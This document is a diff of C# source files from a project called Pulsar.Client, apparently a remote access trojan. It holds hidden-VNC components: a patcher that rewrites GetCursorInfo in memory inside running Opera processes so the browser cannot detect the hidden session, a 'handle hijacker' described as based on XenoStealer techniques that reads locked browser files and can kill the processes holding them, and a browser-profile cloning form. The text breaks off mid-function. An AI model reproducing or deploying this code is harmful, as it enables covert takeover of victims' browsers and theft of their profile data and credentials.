/// <summary>
/// Gets the browser configuration for the specified browser type
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, etc.)</param>
/// <returns>Browser configuration or null if not found</returns>
public static BrowserConfig GetConfig(string browserType)
{
if (string.IsNullOrWhiteSpace(browserType))
return null;
if (BrowserConfigs.TryGetValue(browserType, out var config))
{
return config;
}
return null;
}
/// <summary>
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
/// </summary>
/// <returns>Valid Chrome configuration or null if Chrome is not installed</returns>
public static BrowserConfig GetChromeConfig()
{
var chromeConfig = GetConfig("Chrome");
if (chromeConfig != null)
{
try
{
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
{
return chromeConfig;
}
}
catch
{
// ignore and continue
}
}
var chromeX86 = GetConfig("ChromeX86");
if (chromeX86 != null)
{
try
{
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
{
return chromeX86;
}
}
catch
{
// ignore
}
}
return null;
}
/// <summary>
/// Validates if the browser executable exists
/// </summary>
/// <param name="config">Browser configuration to validate</param>
/// <returns>True if executable exists, false otherwise</returns>
public static bool ValidateConfig(BrowserConfig config)
{
if (config == null)
return false;
return File.Exists(config.ExecutablePath);
}
}
}
@@ -0,0 +1,453 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC.Chromium
{
/// <summary>
/// Opera memory patcher that patches GetCursorInfo function to always return success
/// This prevents Opera from detecting HVNC environments by bypassing cursor detection
///
/// Usage:
/// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX()
/// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes
/// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic
///
/// How it works:
/// 1. Finds all running Opera processes with main windows
/// 2. Locates the GetCursorInfo function in user32.dll within each process
/// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret
/// 4. This bypasses Opera's cursor detection used to identify HVNC environments
///
/// The patch is applied in memory and does not modify files on disk.
/// </summary>
public class OperaPatcher
{
#region Win32 API Imports
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
[DllImport("psapi.dll", SetLastError = true)]
private static extern bool EnumProcessModules(
IntPtr hProcess,
[Out] IntPtr[] lphModule,
int cb,
out int lpcbNeeded);
[DllImport("psapi.dll")]
private static extern uint GetModuleFileNameEx(
IntPtr hProcess,
IntPtr hModule,
[Out] StringBuilder lpBaseName,
int nSize);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
#endregion Win32 API Imports
#region Structs and Constants
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID Luid;
public uint Attributes;
}
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
#endregion Structs and Constants
/// <summary>
/// Patches Opera processes to bypass HVNC detection
/// </summary>
/// <returns>True if at least one Opera process was successfully patched</returns>
public static bool PatchOperaProcesses()
{
bool anyPatched = false;
try
{
// Find all Opera processes
Process[] operaProcesses = Process.GetProcessesByName("opera")
.Where(p => p.MainWindowHandle != IntPtr.Zero)
.ToArray();
if (operaProcesses.Length == 0)
{
Debug.WriteLine("No Opera processes found with main window");
return false;
}
foreach (var process in operaProcesses)
{
try
{
Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}");
if (EnableDebugPrivilege(process.Id))
{
Debug.WriteLine("Debug privilege enabled successfully");
}
else
{
Debug.WriteLine("Failed to enable debug privilege, continuing anyway");
}
if (PatchOperaProcess(process.Id))
{
Debug.WriteLine($"Successfully patched Opera PID: {process.Id}");
anyPatched = true;
}
else
{
Debug.WriteLine($"Failed to patch Opera PID: {process.Id}");
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}");
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}");
}
return anyPatched;
}
/// <summary>
/// Patches a specific Opera process by PID
/// </summary>
/// <param name="pid">Process ID of the Opera process to patch</param>
/// <returns>True if the process was successfully patched</returns>
public static bool PatchOperaProcess(int pid)
{
try
{
IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo");
if (addr == IntPtr.Zero)
{
Debug.WriteLine("Failed to find GetCursorInfo function address");
return false;
}
Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}");
// Assembly: mov eax, 1; ret (returns 1/TRUE for success)
byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid);
if (handle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process. Error: {GetLastError()}");
return false;
}
try
{
uint oldProtect = 0;
if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
{
Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}");
return false;
}
int bytesWritten = 0;
if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten))
{
Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}");
return false;
}
Debug.WriteLine($"Successfully wrote {bytesWritten} bytes");
byte[] verifyBuffer = new byte[patchBytes.Length];
int bytesRead = 0;
if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead))
{
bool patchVerified = bytesRead == patchBytes.Length;
for (int i = 0; i < bytesRead && patchVerified; i++)
{
if (verifyBuffer[i] != patchBytes[i])
{
patchVerified = false;
}
}
if (patchVerified)
{
Debug.WriteLine("Patch verified successfully");
}
else
{
Debug.WriteLine("Patch verification failed");
}
}
uint dummy;
VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy);
return bytesWritten == patchBytes.Length;
}
finally
{
CloseHandle(handle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}");
return false;
}
}
/// <summary>
/// Gets the remote address of a function in another process
/// </summary>
private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName)
{
IntPtr processHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localModuleHandle = LoadLibrary(dllName);
if (localModuleHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName);
if (localFunctionAddress == IntPtr.Zero)
{
Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64();
Debug.WriteLine($"Function offset: 0x{offset:X}");
IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName);
if (remoteModuleBase == IntPtr.Zero)
{
Debug.WriteLine($"Module '{dllName}' not found in process {processId}");
return IntPtr.Zero;
}
IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset);
Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}");
return remoteFunctionAddress;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}");
return IntPtr.Zero;
}
finally
{
if (processHandle != IntPtr.Zero)
{
CloseHandle(processHandle);
}
}
}
/// <summary>
/// Gets the base address of a module in a remote process
/// </summary>
private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName)
{
try
{
IntPtr[] moduleHandles = new IntPtr[1024];
int bytesNeeded;
if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded))
{
Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}");
return IntPtr.Zero;
}
int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr));
StringBuilder moduleNameBuffer = new StringBuilder(256);
string targetName = moduleName.ToLower();
for (int i = 0; i < moduleCount; i++)
{
GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity);
string currentModuleName = moduleNameBuffer.ToString();
string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower();
if (fileName == targetName || fileName == targetName + ".dll")
{
return moduleHandles[i];
}
}
return IntPtr.Zero;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}");
return IntPtr.Zero;
}
}
/// <summary>
/// Enables debug privilege for the specified process
/// </summary>
private static bool EnableDebugPrivilege(int processId)
{
IntPtr processHandle = IntPtr.Zero;
IntPtr tokenHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine("Failed to open process for debug privilege");
return false;
}
if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
{
Debug.WriteLine("Failed to open process token");
return false;
}
LUID luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
{
Debug.WriteLine("Failed to lookup privilege value");
return false;
}
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
{
Debug.WriteLine("Failed to adjust token privileges");
return false;
}
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}");
return false;
}
finally
{
if (tokenHandle != IntPtr.Zero)
CloseHandle(tokenHandle);
if (processHandle != IntPtr.Zero)
CloseHandle(processHandle);
}
}
/// <summary>
/// Asynchronously patches Opera processes with retry logic
/// </summary>
/// <param name="maxRetries">Maximum number of retry attempts</param>
/// <param name="delayBetweenRetries">Delay between retry attempts in milliseconds</param>
/// <returns>Task that completes when patching is done</returns>
public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000)
{
await Task.Run(async () =>
{
for (int attempt = 0; attempt < maxRetries; attempt++)
{
try
{
if (PatchOperaProcesses())
{
Debug.WriteLine("Opera patching completed successfully");
return;
}
if (attempt < maxRetries - 1)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms");
await Task.Delay(delayBetweenRetries);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}");
if (attempt < maxRetries - 1)
{
await Task.Delay(delayBetweenRetries);
}
}
}
Debug.WriteLine("All Opera patching attempts failed");
});
}
}
}
+114
View File
@@ -0,0 +1,114 @@
namespace Pulsar.Client.Helper.HVNC
{
partial class CloneProgressForm
{
private System.ComponentModel.IContainer components = null;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblDetail;
private System.Windows.Forms.ProgressBar progressBar;
private System.Windows.Forms.Button btnCancel;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.lblTitle = new System.Windows.Forms.Label();
this.lblDetail = new System.Windows.Forms.Label();
this.progressBar = new System.Windows.Forms.ProgressBar();
this.btnCancel = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = false;
this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point);
this.lblTitle.Location = new System.Drawing.Point(10, 10);
this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblTitle.Name = "lblTitle";
this.lblTitle.Size = new System.Drawing.Size(280, 20);
this.lblTitle.TabIndex = 0;
this.lblTitle.Text = "Cloning browser profile...";
this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// lblDetail
//
this.lblDetail.AutoEllipsis = true;
this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top;
this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.lblDetail.Location = new System.Drawing.Point(10, 30);
this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblDetail.Name = "lblDetail";
this.lblDetail.Size = new System.Drawing.Size(280, 17);
this.lblDetail.TabIndex = 1;
this.lblDetail.Text = "Preparing...";
this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// progressBar
//
this.progressBar.Dock = System.Windows.Forms.DockStyle.Top;
this.progressBar.Location = new System.Drawing.Point(10, 50);
this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.progressBar.Name = "progressBar";
this.progressBar.Size = new System.Drawing.Size(280, 15);
this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee;
this.progressBar.TabIndex = 2;
//
// btnCancel
//
this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnCancel.Location = new System.Drawing.Point(215, 73);
this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 3;
this.btnCancel.Text = "Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// CloneProgressForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.ClientSize = new System.Drawing.Size(300, 110);
this.Controls.Add(this.progressBar);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.lblDetail);
this.Controls.Add(this.lblTitle);
this.DoubleBuffered = true;
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.ForeColor = System.Drawing.Color.Gainsboro;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "CloneProgressForm";
this.Padding = new System.Windows.Forms.Padding(10);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Profile cloning";
this.TopMost = true;
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,142 @@
using System;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal partial class CloneProgressForm : Form
{
private const int CloseDelayMilliseconds = 450;
private bool _isCompleting;
private bool _cancelRaised;
public CloneProgressForm()
{
InitializeComponent();
}
public event EventHandler UserRequestedCancel;
public void Initialize(string browserName)
{
lblTitle.Text = string.IsNullOrWhiteSpace(browserName)
? "Cloning browser profile..."
: $"Cloning {browserName} profile...";
lblDetail.Text = "Preparing...";
progressBar.Style = ProgressBarStyle.Marquee;
}
public void ShowPreparing()
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
}
public void UpdateProgress(BrowserCloneProgress progress)
{
if (IsDisposed)
{
return;
}
if (progress.IsIndeterminate || progress.TotalFiles <= 0)
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
return;
}
if (progressBar.Style != ProgressBarStyle.Continuous)
{
progressBar.Style = ProgressBarStyle.Continuous;
}
int maximum = Math.Max(1, progress.TotalFiles);
if (progressBar.Maximum != maximum)
{
progressBar.Maximum = maximum;
}
int value = Math.Min(progress.FilesCopied, progressBar.Maximum);
progressBar.Value = Math.Max(0, value);
string currentFile = progress.CurrentItem;
if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50)
{
currentFile = "..." + currentFile.Substring(currentFile.Length - 50);
}
lblDetail.Text = string.IsNullOrEmpty(currentFile)
? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files"
: $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}";
}
public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed)
{
_isCompleting = true;
btnCancel.Enabled = false;
if (IsDisposed)
{
onClosed?.Invoke();
return;
}
progressBar.Style = ProgressBarStyle.Continuous;
progressBar.Maximum = 100;
progressBar.Value = 100;
lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed";
var closeTimer = new Timer
{
Interval = CloseDelayMilliseconds
};
closeTimer.Tick += (sender, args) =>
{
closeTimer.Stop();
closeTimer.Dispose();
onClosed?.Invoke();
if (!IsDisposed)
{
Close();
}
};
closeTimer.Start();
}
private void btnCancel_Click(object sender, EventArgs e)
{
RaiseCancelRequested();
if (!IsDisposed)
{
Close();
}
}
private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (_isCompleting)
{
return;
}
if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing)
{
RaiseCancelRequested();
}
}
private void RaiseCancelRequested()
{
if (_cancelRaised)
{
return;
}
_cancelRaised = true;
UserRequestedCancel?.Invoke(this, EventArgs.Empty);
}
}
}
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+695
View File
@@ -0,0 +1,695 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Threading;
using Pulsar.Client.Recovery.Utilities.Xeno;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Advanced file reading using handle hijacking and memory mapping
/// Based on XenoStealer techniques - reads locked files without killing processes
/// </summary>
internal static class HandleHijacker
{
#region Native Structures
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public IntPtr UniqueProcessId;
public IntPtr HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_INFORMATION_EX
{
public IntPtr NumberOfHandles;
public IntPtr Reserved;
// Handles follow after this
}
private enum SYSTEM_INFORMATION_CLASS
{
SystemExtendedHandleInformation = 64
}
private enum FileType : uint
{
FILE_TYPE_UNKNOWN = 0x0000,
FILE_TYPE_DISK = 0x0001,
FILE_TYPE_CHAR = 0x0002,
FILE_TYPE_PIPE = 0x0003
}
[StructLayout(LayoutKind.Sequential)]
private struct RM_UNIQUE_PROCESS
{
public uint dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct RM_PROCESS_INFO
{
public RM_UNIQUE_PROCESS Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public string strServiceShortName;
public uint ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
private enum RM_REBOOT_REASON
{
RmRebootReasonNone = 0x0,
RmRebootReasonPermissionDenied = 0x1,
RmRebootReasonSessionMismatch = 0x2,
RmRebootReasonCriticalProcess = 0x4,
RmRebootReasonCriticalService = 0x8,
RmRebootReasonDetectedSelf = 0x10
}
#endregion
#region Native Methods
[DllImport("ntdll.dll")]
private static extern uint NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
IntPtr SystemInformation,
uint SystemInformationLength,
out uint ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
uint dwDesiredAccess,
bool bInheritHandle,
uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern FileType GetFileType(IntPtr hFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern uint GetFinalPathNameByHandleW(
IntPtr hFile,
StringBuilder lpszFilePath,
uint cchFilePath,
uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern IntPtr CreateFileMappingA(
IntPtr hFile,
IntPtr lpFileMappingAttributes,
uint flProtect,
uint dwMaximumSizeHigh,
uint dwMaximumSizeLow,
string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr MapViewOfFile(
IntPtr hFileMappingObject,
uint dwDesiredAccess,
uint dwFileOffsetHigh,
uint dwFileOffsetLow,
UIntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
[DllImport("rstrtmgr.dll")]
private static extern int RmEndSession(uint pSessionHandle);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmRegisterResources(
uint pSessionHandle,
uint nFiles,
string[] rgsFilenames,
uint nApplications,
RM_UNIQUE_PROCESS[] rgApplications,
uint nServices,
string[] rgsServiceNames);
[DllImport("rstrtmgr.dll")]
private static extern int RmGetList(
uint dwSessionHandle,
out uint pnProcInfoNeeded,
ref uint pnProcInfo,
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
out RM_REBOOT_REASON lpdwRebootReasons);
#endregion
#region Constants
private const uint PROCESS_DUP_HANDLE = 0x0040;
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
private const uint PAGE_READONLY = 0x02;
private const uint FILE_MAP_READ = 0x04;
private const uint FILE_NAME_NORMALIZED = 0x0;
private const uint ERROR_MORE_DATA = 0xEA;
#endregion
/// <summary>
/// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
/// </summary>
private static void SafeCloseHandle(IntPtr handle)
{
if (handle == IntPtr.Zero || handle == new IntPtr(-1))
return;
try
{
CloseHandle(handle);
}
catch
{
// Some handles (like pseudo-handles) throw exceptions when closed
// This is expected and can be safely ignored
}
}
/// <summary>
/// Forces reading a file even if it's locked by another process
/// Uses handle hijacking and memory mapping
/// </summary>
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
{
// First try normal read
try
{
return File.ReadAllBytes(filePath);
}
catch (Exception e)
{
// -2147024864 is the HRESULT for file being used by another process
if (e.HResult != -2147024864)
{
return null;
}
}
Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");
bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
IntPtr pInfo = IntPtr.Zero;
try
{
uint dwSize = 0;
uint status;
int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
pInfo = Marshal.AllocHGlobal(handleStructSize);
do
{
status = NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
pInfo,
dwSize,
out dwSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
}
} while (status != 0);
IntPtr pInfoBackup = pInfo;
ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
pInfo += 2 * IntPtr.Size;
Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");
byte[] result = null;
for (ulong i = 0; i < numOfHandles; i++)
{
IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo =
Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);
if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
{
continue;
}
// dupe handle
if (DuplicateHandleFromProcess(
(int)handleInfo.UniqueProcessId,
handleInfo.HandleValue,
out IntPtr duppedHandle))
{
try
{
if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
{
SafeCloseHandle(duppedHandle);
continue;
}
string handlePath = GetPathFromHandle(duppedHandle);
if (handlePath == null)
{
SafeCloseHandle(duppedHandle);
continue;
}
if (handlePath.StartsWith("\\\\?\\"))
{
handlePath = handlePath.Substring(4);
}
if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
{
Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
result = ReadFileBytesFromHandle(duppedHandle);
SafeCloseHandle(duppedHandle);
if (result != null)
{
Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
break;
}
}
SafeCloseHandle(duppedHandle);
}
catch
{
SafeCloseHandle(duppedHandle);
}
}
}
Marshal.FreeHGlobal(pInfoBackup);
if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
{
Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
foreach (var pid in lockingProcesses)
{
try
{
var proc = Process.GetProcessById(pid);
Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
proc.Kill();
}
catch { }
}
System.Threading.Thread.Sleep(100);
try
{
result = File.ReadAllBytes(filePath);
Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
}
catch { }
}
return result;
}
finally
{
if (pInfo != IntPtr.Zero)
{
try { Marshal.FreeHGlobal(pInfo); } catch { }
}
}
}
/// <summary>
/// Copies a locked file using handle hijacking
/// </summary>
public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
{
bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
if (fileData == null)
{
